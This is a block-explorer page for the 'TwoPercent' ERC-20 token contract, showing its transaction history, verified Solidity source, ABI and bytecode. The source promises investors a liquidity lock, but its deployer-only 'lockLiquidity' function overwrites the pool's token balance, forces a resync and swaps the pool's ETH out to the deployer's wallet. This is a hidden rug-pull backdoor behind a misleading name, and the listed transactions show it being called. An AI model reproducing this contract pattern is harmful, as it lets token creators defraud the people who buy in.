ETH Price: $1,973.04 (-0.13%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Lock Liquidity148335942022-05-24 4:03:131370 days ago1653364993IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0027628619.43602282
Approve148305332022-05-23 16:08:331370 days ago1653322113IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0011616124.93745078
Approve148302992022-05-23 15:14:201370 days ago1653318860IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0008260817.73444093
Approve148302512022-05-23 15:01:381370 days ago1653318098IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0008753918.79294713
Approve148301992022-05-23 14:50:121370 days ago1653317412IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0007916916.9961445
Approve148301292022-05-23 14:33:171370 days ago1653316397IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0009059619.44919247
Approve148301232022-05-23 14:32:061370 days ago1653316326IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0009404920.19055487
Approve148300712022-05-23 14:22:201370 days ago1653315740IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0013958329.96578926
Approve148300562022-05-23 14:19:031370 days ago1653315543IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0015701433.70791584
Approve148300282022-05-23 14:13:441370 days ago1653315224IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0035867377
Approve148300072022-05-23 14:07:261370 days ago1653314846IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0016513861.89355468
Approve148300052022-05-23 14:07:071370 days ago1653314827IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0028426861.02668758
Approve148299972022-05-23 14:04:441370 days ago1653314684IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0027441258.91073903
Approve148299802022-05-23 13:59:301370 days ago1653314370IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0015030632.26777225
Renounce Ownersh...148299792022-05-23 13:58:341370 days ago1653314314IN
0xeEB1331b...4B1ce4BB4
0 ETH0.000672628.92683569
Approve148299752022-05-23 13:57:291370 days ago1653314249IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0012633427.12144587
Approve148299742022-05-23 13:57:041370 days ago1653314224IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0011687925.09157074
Approve148299742022-05-23 13:57:041370 days ago1653314224IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0011687925.09157074
Approve148299692022-05-23 13:56:171370 days ago1653314177IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0012099925.97625512
Approve148299682022-05-23 13:55:271370 days ago1653314127IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0011066323.75717195
Approve148299682022-05-23 13:55:271370 days ago1653314127IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0012463726.75717195
Approve148299672022-05-23 13:55:211370 days ago1653314121IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0009711120.84777284
Increase Max Wal...148299662022-05-23 13:54:531370 days ago1653314093IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0006380822.1435695
Increase Max Tx148299612022-05-23 13:54:001370 days ago1653314040IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0006349122.00806926
Approve148299612022-05-23 13:54:001370 days ago1653314040IN
0xeEB1331b...4B1ce4BB4
0 ETH0.0011183124.00806926
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
-148335942022-05-24 4:03:131370 days ago1653364993
0xeEB1331b...4B1ce4BB4
0.00017384 ETH
-148335942022-05-24 4:03:131370 days ago1653364993
0xeEB1331b...4B1ce4BB4
0.00017384 ETH
-148308712022-05-23 17:27:271370 days ago1653326847
0xeEB1331b...4B1ce4BB4
0.00046174 ETH
-148308712022-05-23 17:27:271370 days ago1653326847
0xeEB1331b...4B1ce4BB4
0.00046174 ETH
-148305402022-05-23 16:10:211370 days ago1653322221
0xeEB1331b...4B1ce4BB4
0.00076451 ETH
-148305402022-05-23 16:10:211370 days ago1653322221
0xeEB1331b...4B1ce4BB4
0.00076451 ETH
-148304322022-05-23 15:45:441370 days ago1653320744
0xeEB1331b...4B1ce4BB4
0.00228874 ETH
-148304322022-05-23 15:45:441370 days ago1653320744
0xeEB1331b...4B1ce4BB4
0.00228874 ETH
-148304122022-05-23 15:42:281370 days ago1653320548
0xeEB1331b...4B1ce4BB4
0.00025133 ETH
-148304122022-05-23 15:42:281370 days ago1653320548
0xeEB1331b...4B1ce4BB4
0.00025133 ETH
-148303652022-05-23 15:28:121370 days ago1653319692
0xeEB1331b...4B1ce4BB4
0.00077917 ETH
-148303652022-05-23 15:28:121370 days ago1653319692
0xeEB1331b...4B1ce4BB4
0.00077917 ETH
-148303652022-05-23 15:28:121370 days ago1653319692
0xeEB1331b...4B1ce4BB4
0.00118261 ETH
-148303652022-05-23 15:28:121370 days ago1653319692
0xeEB1331b...4B1ce4BB4
0.00118261 ETH
-148303442022-05-23 15:24:411370 days ago1653319481
0xeEB1331b...4B1ce4BB4
0.00060522 ETH
-148303442022-05-23 15:24:411370 days ago1653319481
0xeEB1331b...4B1ce4BB4
0.00060522 ETH
-148303122022-05-23 15:17:211370 days ago1653319041
0xeEB1331b...4B1ce4BB4
0.00091941 ETH
-148303122022-05-23 15:17:211370 days ago1653319041
0xeEB1331b...4B1ce4BB4
0.00091941 ETH
-148302892022-05-23 15:12:131370 days ago1653318733
0xeEB1331b...4B1ce4BB4
0.0031583 ETH
-148302892022-05-23 15:12:131370 days ago1653318733
0xeEB1331b...4B1ce4BB4
0.0031583 ETH
-148302582022-05-23 15:03:401370 days ago1653318220
0xeEB1331b...4B1ce4BB4
0.01455536 ETH
-148302582022-05-23 15:03:401370 days ago1653318220
0xeEB1331b...4B1ce4BB4
0.01455536 ETH
-148301332022-05-23 14:34:071370 days ago1653316447
0xeEB1331b...4B1ce4BB4
0.00091785 ETH
-148301332022-05-23 14:34:071370 days ago1653316447
0xeEB1331b...4B1ce4BB4
0.00091785 ETH
-148301122022-05-23 14:29:431370 days ago1653316183
0xeEB1331b...4B1ce4BB4
0.00103544 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TwoPercent

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2022-05-23
*/

/**

Our 1% had more than 500k in daily volume. With over a 60x for our early investors, 
you might not want to skip the TwoPercent!

Initial lock 1 month. Extend will come at 250k.
Renounce after lock.

We are leaving the group to be made and managed by our lovely community.

*/

pragma solidity ^0.8.9;

//SPDX-License-Identifier: MIT

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract TwoPercent is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = 100000000000000 * 10**18;
	uint256 private _maxWallet= 4000000000000 * 10**18;

	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 public _maxTxAmount;


	string private constant _name = "TwoPercent";
	string private constant _symbol = unicode"2 %";
	uint8 private constant _decimals = 18;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = 2;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount= 4000000000000 * 10**18;
		_maxWallet= 4000000000000 * 10**18;
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
			}
			if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
          require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
      }

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance,address(this));
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}
		}


		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}



	function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			to,
			block.timestamp
		);
	}

	function increaseMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function increaseMaxWallet(uint256 amount) public onlyOwner{
		require(amount>_maxWallet);
		_maxWallet=amount;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function createUniswapPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function lockLiquidity() public{
		require(_msgSender()==_taxWallet);
		_balance[address(this)] = 100000000000000000;
		_balance[_pair] = 1;
		(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
		if (success) {
				swapTokensForEth(100000000, _taxWallet);
		} else { revert("Internal failure"); }
	}

	function openTrading() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function manualSwap() public{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance,address(this));
	}

	function manualSend() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lockLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526d04ee2d6d415b85acef81000000006005556c327cb2734119d3b7a900000000600655600b805461ffff60a81b1916905534801561004157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060088054336001600160a01b03199182168117835560026007819055600a8054909316737a250d5630b4cf539739df2c5dacb4c659f2488d1790925560058054306000908152602094855260408082209290925560048552818120805460ff19908116600190811790925596546001600160a01b031682528282208054909716179095556c327cb2734119d3b7a9000000006009819055600655905490519081529092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3611780806101616000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f719914610315578063c9567bf91461032a578063d91a21a61461033f578063dd62ed3e1461035f578063f4293890146103a557600080fd5b8063715018a6146102765780637d1db4a51461028b5780638da5cb5b146102a157806395d89b41146102c9578063a9059cbb146102f557600080fd5b8063313ce567116100e7578063313ce567146101d85780633e7175c5146101f45780634a1316721461021657806351bc3c851461022b57806370a082311461024057600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101b857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a815269151ddbd4195c98d95b9d60b21b60208201525b6040516101609190611433565b60405180910390f35b34801561017557600080fd5b5061018961018436600461147b565b6103ba565b6040519015158152602001610160565b3480156101a557600080fd5b506005545b604051908152602001610160565b3480156101c457600080fd5b506101896101d33660046114a7565b6103d1565b3480156101e457600080fd5b5060405160128152602001610160565b34801561020057600080fd5b5061021461020f3660046114e8565b61043a565b005b34801561022257600080fd5b50610214610480565b34801561023757600080fd5b50610214610759565b34801561024c57600080fd5b506101aa61025b366004611501565b6001600160a01b031660009081526002602052604090205490565b34801561028257600080fd5b50610214610775565b34801561029757600080fd5b506101aa60095481565b3480156102ad57600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102d557600080fd5b5060408051808201909152600381526232202560e81b6020820152610153565b34801561030157600080fd5b5061018961031036600461147b565b6107e9565b34801561032157600080fd5b506102146107f6565b34801561033657600080fd5b50610214610925565b34801561034b57600080fd5b5061021461035a3660046114e8565b610a4e565b34801561036b57600080fd5b506101aa61037a36600461151e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b157600080fd5b50610214610a8b565b60006103c7338484610a95565b5060015b92915050565b60006103de848484610bb9565b610430843361042b85604051806060016040528060288152602001611723602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f66565b610a95565b5060019392505050565b6000546001600160a01b0316331461046d5760405162461bcd60e51b815260040161046490611557565b60405180910390fd5b600654811161047b57600080fd5b600655565b6000546001600160a01b031633146104aa5760405162461bcd60e51b815260040161046490611557565b600b54600160a01b900460ff16156105045760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b600a546005546105219130916001600160a01b0390911690610a95565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561056f57600080fd5b505afa158015610583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a7919061158c565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561060457600080fd5b505afa158015610618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063c919061158c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561068457600080fd5b505af1158015610698573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bc919061158c565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b390604401602060405180830381600087803b15801561071e57600080fd5b505af1158015610732573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075691906115a9565b50565b3060009081526002602052604081205490506107568130610fa0565b6000546001600160a01b0316331461079f5760405162461bcd60e51b815260040161046490611557565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c7338484610bb9565b6008546001600160a01b0316336001600160a01b03161461081657600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b03191790529151911691610883916115cb565b6000604051808303816000865af19150503d80600081146108c0576040519150601f19603f3d011682016040523d82523d6000602084013e6108c5565b606091505b5050905080156108ea57600854610756906305f5e100906001600160a01b0316610fa0565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610464565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161046490611557565b600a546001600160a01b031663f305d7194730610981816001600160a01b031660009081526002602052604090205490565b6000806109966000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3291906115e7565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a785760405162461bcd60e51b815260040161046490611557565b6009548111610a8657600080fd5b600955565b476107568161112a565b6001600160a01b038316610af75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610b585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610c7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b60008111610ce15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b6000546001600160a01b03848116911614801590610d0d57506000546001600160a01b03838116911614155b15610f0557600b546001600160a01b038481169116148015610d3d5750600a546001600160a01b03838116911614155b8015610d6257506001600160a01b03821660009081526004602052604090205460ff16155b15610db957600954811115610db95760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610464565b600b546001600160a01b03838116911614801590610df057506001600160a01b03821660009081526004602052604090205460ff16155b8015610e1557506001600160a01b03831660009081526004602052604090205460ff16155b15610e955760065481610e3d846001600160a01b031660009081526002602052604090205490565b610e47919061162b565b1115610e955760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610464565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ecd5750600b546001600160a01b03858116911614155b8015610ee25750600b54600160b01b900460ff165b15610f0357610ef18130610fa0565b478015610f0157610f014761112a565b505b505b6001600160a01b038216600090815260046020526040902054610f619084908490849060ff1680610f4e57506001600160a01b03871660009081526004602052604090205460ff165b610f5a57600754611168565b6000611168565b505050565b60008184841115610f8a5760405162461bcd60e51b81526004016104649190611433565b506000610f978486611643565b95945050505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe857610fe861165a565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561103c57600080fd5b505afa158015611050573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611074919061158c565b816001815181106110875761108761165a565b6001600160a01b039283166020918202929092010152600a546110ad9130911685610a95565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e6908690600090869088904290600401611670565b600060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611164573d6000803e3d6000fd5b5050565b600061117f6064611179858561126c565b906112f2565b9050600061118d8483611334565b6001600160a01b0387166000908152600260205260409020549091506111b39085611334565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546111e29082611376565b6001600160a01b03861660009081526002602052604080822092909255308152205461120e9083611376565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261127b575060006103cb565b600061128783856116e1565b9050826112948583611700565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d5565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f66565b600080611383838561162b565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b600081836113f65760405162461bcd60e51b81526004016104649190611433565b506000610f978486611700565b60005b8381101561141e578181015183820152602001611406565b8381111561142d576000848401525b50505050565b6020815260008251806020840152611452816040850160208701611403565b601f01601f19169190910160400192915050565b6001600160a01b038116811461075657600080fd5b6000806040838503121561148e57600080fd5b823561149981611466565b946020939093013593505050565b6000806000606084860312156114bc57600080fd5b83356114c781611466565b925060208401356114d781611466565b929592945050506040919091013590565b6000602082840312156114fa57600080fd5b5035919050565b60006020828403121561151357600080fd5b81356112eb81611466565b6000806040838503121561153157600080fd5b823561153c81611466565b9150602083013561154c81611466565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561159e57600080fd5b81516112eb81611466565b6000602082840312156115bb57600080fd5b815180151581146112eb57600080fd5b600082516115dd818460208701611403565b9190910192915050565b6000806000606084860312156115fc57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b6000821982111561163e5761163e611615565b500190565b60008282101561165557611655611615565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116c05784516001600160a01b03168352938301939183019160010161169b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156116fb576116fb611615565b500290565b60008261171d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c63d24303d3436ff390600fa777fa4d6e8d30559610c7edbd5d1db26ec37fbd564736f6c63430008090033

Deployed Bytecode

